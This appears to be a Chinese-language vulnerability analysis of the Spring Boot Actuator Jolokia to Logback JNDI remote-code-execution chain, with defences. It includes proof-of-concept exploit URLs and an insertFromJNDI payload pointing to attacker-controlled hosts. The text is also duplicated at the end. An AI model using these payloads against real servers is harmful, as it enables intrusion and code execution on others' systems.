spring boot actuator rce via jolokia
字数 1387 2025-08-26 22:11:22

Spring Boot Actuator RCE via Jolokia 漏洞分析与利用

漏洞概述

本漏洞利用链通过Spring Boot Actuator的Jolokia端点,结合Logback的JMXConfigurator功能,最终通过JNDI注入实现远程代码执行(RCE)。漏洞影响Spring Boot Actuator 1.4.7及Jolokia-core 1.6.0等版本。

漏洞利用链

Spring-boot-actuator -> Jolokia -> Logback -> JNDI -> RCE

漏洞利用POC

http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/evilhost!/evilconfig.xml

详细分析

1. Jolokia端点处理流程

  1. 请求路由

    • 所有以/jolokia开头的请求都会进入JolokiaMvcEndpoint类的处理逻辑
    • 最终进入org.jolokia.http.HttpRequestHandler#handleGetRequest方法
  2. 路径解析

    • 路径会被/分割,但可以使用!来保留/字符(如http:!/!/会被解析为http://
    • 根据路径创建JmxRequest对象
  3. JmxRequest创建

    • exec类型的请求对应org.jolokia.request.JmxExecRequest
    • 第一个路径节点传入javax.management.ObjectName构造函数
    • 下一个节点作为operation属性
    • 剩余节点作为arguments属性列表

2. 请求执行过程

  1. ExecHandler处理

    • 创建org.jolokia.handler.ExecHandler对象
    • doHandRequest方法中:
      • 对operation进行参数类型鉴定
      • 将arguments转换为目标函数需要的参数类型
      • 通过server.invoke执行指定类的指定方法
  2. 方法调用限制

    • 只能调用已注册的类和方法
    • 可通过/jolokia/list查看可调用的类

3. Logback JMXConfigurator利用

  1. 目标类

    • ch.qos.logback.classic.jmx.JMXConfigurator
    • 关键方法:reloadByURL
  2. reloadByURL方法分析

    public void reloadByURL(URL url) {
        // 从URL获取输入流
        InputStream in = url.openStream();
        // 调用doConfigure
        doConfigure(in);
    }
    
  3. 配置重载过程

    • doConfigure方法从URL获取输入流
    • 最终调用recordEvents方法处理XML输入流
    • XML解析过程无任何防护措施,存在XXE漏洞

4. RCE实现方式

通过Logback的insertFromJNDI标签实现JNDI注入:

<configuration>
  <insertFromJNDI env-entry-name="ldap://attacker.com/Exploit" as="appName" />
</configuration>

利用过程:

  1. 攻击者控制XML配置文件中的JNDI地址
  2. 指向恶意JNDI服务器
  3. 通过JNDI触发Java反序列化
  4. 最终实现远程代码执行

漏洞利用步骤

  1. 准备恶意XML配置文件

    • 包含恶意JNDI引用
    • 托管在攻击者控制的服务器上
  2. 构造利用URL

    http://target:port/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/attacker.com!/malicious.xml
    
  3. 启动恶意JNDI服务器

    • 托管包含恶意序列化对象的LDAP/RMI服务

防御措施

  1. 禁用不必要的Actuator端点

    endpoints.jolokia.enabled=false
    
  2. 限制Actuator端点访问

    • 通过Spring Security配置访问控制
    • 只允许可信IP访问
  3. 升级组件版本

    • 升级Spring Boot Actuator至最新安全版本
    • 升级Jolokia至修复版本
  4. 输入验证

    • 对Jolokia端点的输入进行严格验证
  5. 禁用危险的JMX操作

    • 限制可执行的JMX操作

参考链接

  1. 原文分析
  2. 相关技术分析
Spring Boot Actuator RCE via Jolokia 漏洞分析与利用 漏洞概述 本漏洞利用链通过Spring Boot Actuator的Jolokia端点,结合Logback的JMXConfigurator功能,最终通过JNDI注入实现远程代码执行(RCE)。漏洞影响Spring Boot Actuator 1.4.7及Jolokia-core 1.6.0等版本。 漏洞利用链 漏洞利用POC 详细分析 1. Jolokia端点处理流程 请求路由 : 所有以 /jolokia 开头的请求都会进入 JolokiaMvcEndpoint 类的处理逻辑 最终进入 org.jolokia.http.HttpRequestHandler#handleGetRequest 方法 路径解析 : 路径会被 / 分割,但可以使用 ! 来保留 / 字符(如 http:!/!/ 会被解析为 http:// ) 根据路径创建 JmxRequest 对象 JmxRequest创建 : exec 类型的请求对应 org.jolokia.request.JmxExecRequest 第一个路径节点传入 javax.management.ObjectName 构造函数 下一个节点作为operation属性 剩余节点作为arguments属性列表 2. 请求执行过程 ExecHandler处理 : 创建 org.jolokia.handler.ExecHandler 对象 在 doHandRequest 方法中: 对operation进行参数类型鉴定 将arguments转换为目标函数需要的参数类型 通过 server.invoke 执行指定类的指定方法 方法调用限制 : 只能调用已注册的类和方法 可通过 /jolokia/list 查看可调用的类 3. Logback JMXConfigurator利用 目标类 : ch.qos.logback.classic.jmx.JMXConfigurator 关键方法: reloadByURL reloadByURL方法分析 : 配置重载过程 : doConfigure 方法从URL获取输入流 最终调用 recordEvents 方法处理XML输入流 XML解析过程无任何防护措施,存在XXE漏洞 4. RCE实现方式 通过Logback的 insertFromJNDI 标签实现JNDI注入: 利用过程: 攻击者控制XML配置文件中的JNDI地址 指向恶意JNDI服务器 通过JNDI触发Java反序列化 最终实现远程代码执行 漏洞利用步骤 准备恶意XML配置文件 : 包含恶意JNDI引用 托管在攻击者控制的服务器上 构造利用URL : 启动恶意JNDI服务器 : 托管包含恶意序列化对象的LDAP/RMI服务 防御措施 禁用不必要的Actuator端点 : 限制Actuator端点访问 : 通过Spring Security配置访问控制 只允许可信IP访问 升级组件版本 : 升级Spring Boot Actuator至最新安全版本 升级Jolokia至修复版本 输入验证 : 对Jolokia端点的输入进行严格验证 禁用危险的JMX操作 : 限制可执行的JMX操作 参考链接 原文分析 相关技术分析